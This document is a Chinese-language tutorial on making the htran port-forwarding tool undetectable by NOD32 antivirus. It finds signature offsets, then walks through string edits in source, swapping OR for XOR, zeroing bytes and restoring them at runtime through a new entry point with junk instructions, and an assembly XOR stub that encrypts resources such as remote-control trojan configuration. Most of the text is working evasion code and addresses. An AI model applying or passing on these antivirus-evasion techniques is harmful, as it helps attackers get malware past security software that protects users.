样例:htran.exe(端口转发工具),网上有开源的代码,自行编译
杀软:nod32
nod32这个杀软的特点是喜欢杀字符串。
正向定位结果:
文件名:E:\test\htran.exe
------------------------------------------------
特征码物理地址/物理长度如下:
[特征] 00009320_00000002 00409320 2E:0D 0A005B2B OR EAX,2B5B000A
[特征] 0000934A_00000002 0040934B 2E:0D 0A00005B OR EAX,5B00000A
[特征] 00009418_00000002 00409418 2E:0D 0A005B2B OR EAX,2B5B000A
.data :数据段储存为全局变量或静态数据,在应用程序初始化的时候该段的全部变量归0,有全局静态数据静态数据常量保存。
.rdata: 保存函数指针或是间接调用的虚拟函数指针或虚拟表对象/类指针等,不同的编译器可能对该段有所处理不同吧。
偏移地址: C32载入可见,是PE文件储存在硬盘上时的一个内部的绝对地址)
RVA地址:PE文件各数据导入内存镜像后相对于基地址的偏移量)
VA地址 :PE文件各数据导入内存镜像后虚拟地址,OD载入可见)
基地址 :PE文件导入内存镜像时的初始地址,EXE缺省值为00010000h,DLL为00400000h
其中 VA地址=RVA地址+基地址
Microsoft Visual C++ 6.0 ,变量字符串等数据 就是存放在.data区段里面,可以修改
现在,我们来填充它,验证我们找的地方是否正确。
注意:我们填充的时候,从下至上.
***************************************************************************
源码免杀:
Accept a Client on port %d from
Waiting for Client on port:%d
Make a Connection to %s:%d
这里就能轻松的过了nod32了。
源码免杀最笨最有效的方法--注释法,就是紧盯着main函数执行顺序,注释干扰项,逐步排查就行了。
***************************************************************************
.exe免杀:
OR EAX,5B00000A
XOR EAX,5B00000A
OR 将源操作数中的全部二进制1放进目的操作数中,目的操作数中二进制1只可能增加;
XOR 对目的操作数按位取反。根据不同的源操作数可以实现清0、取反、无损加密等。
or :
0 0 = 0
0 1 = 1
1 0 = 1
1 1 = 1
xor:
0 0 = 0
0 1 = 1
1 0 = 1
1 1 = 0
因为这里是个字符串类型的,这里用这个等价指令是可以的
为了安全,我们可以采用动态恢复等方法
原起始入口点: 00402913 >/$ 55 PUSH EBP
添加区段: 50
PE文件存放最小空间是0x200的整数
加载到内存的时候以0x1000为单位
***************************************************************************
动态恢复:
全部填充00,然后动态恢复成2E,我们的特征码在.data区段,是可写的。
push eax
inc eax
pop eax
mov byte ptr [00409320],2E
mov byte ptr [0040934B],2E
mov byte ptr [00409418],2E
jmp 00402913
新入口点: 0040E002 50 PUSH EAX
我们可以看到杀软在模拟执行我们的程序,内存杀毒,很狡猾噢,不过现在它查杀的是我们的动态恢复代码,我的花指令过于简单,大家可以在网上找或者自己写一个很生僻的花指令就行了。
文件名:E:\test\htran_动态恢复.exe
------------------------------------------------
特征码物理地址/物理长度如下:
[特征] 0000D00A_00000002 0040E00A
[特征] 0000D018_00000002 0040E018
注意:此方法不适合输入表免杀.
***************************************************************************
异或加密:
pushad //把所有寄存器压入堆栈
mov ebx,0040F2E4 // 特征码的内存地址0040F2E4传送到ebx 寄存器
mov ecx,3 //循环次数就是加密的长度(可以多次循环达到整块加密,别忘了次数这是16进制,3就代表加密12个字符)
mov eax,dword ptr [ebx] //把ebx所存放的内存地方传送给eax
xor eax,11111111 //进行异或加密必须8个字符
mov dword ptr [ebx],eax //把加密后的内容传送给ebx
add ebx,4 //ebx 的内存地址增加了4个字节
loopd short xxxxxxxx //跳转到 mov eax ,dword ptr [ebx] 这个就是循环刚才上面有个循环次数,ecx=3就表示循环3次
popad //把所有寄存器取出堆栈
jmp 原入口点 ///跳转到原入口点
用于资源加密啊,.rsrc (这个没资源,我们来给它加些资源),在远控的时候,经常杀上线信息,就是一些配置信息,我们随便给它加一个
记下加密资源的起始地址 0000E2E4 0040F2E4 ,记得修改rsrc区段可写喔
异或加密后的新入口点 0040e00c,执行加密后保存可执行文件,这样我们资源就免杀了.
再次执行后就自动解密了 ,这就是利用异或的特点,执行两次,自动解密。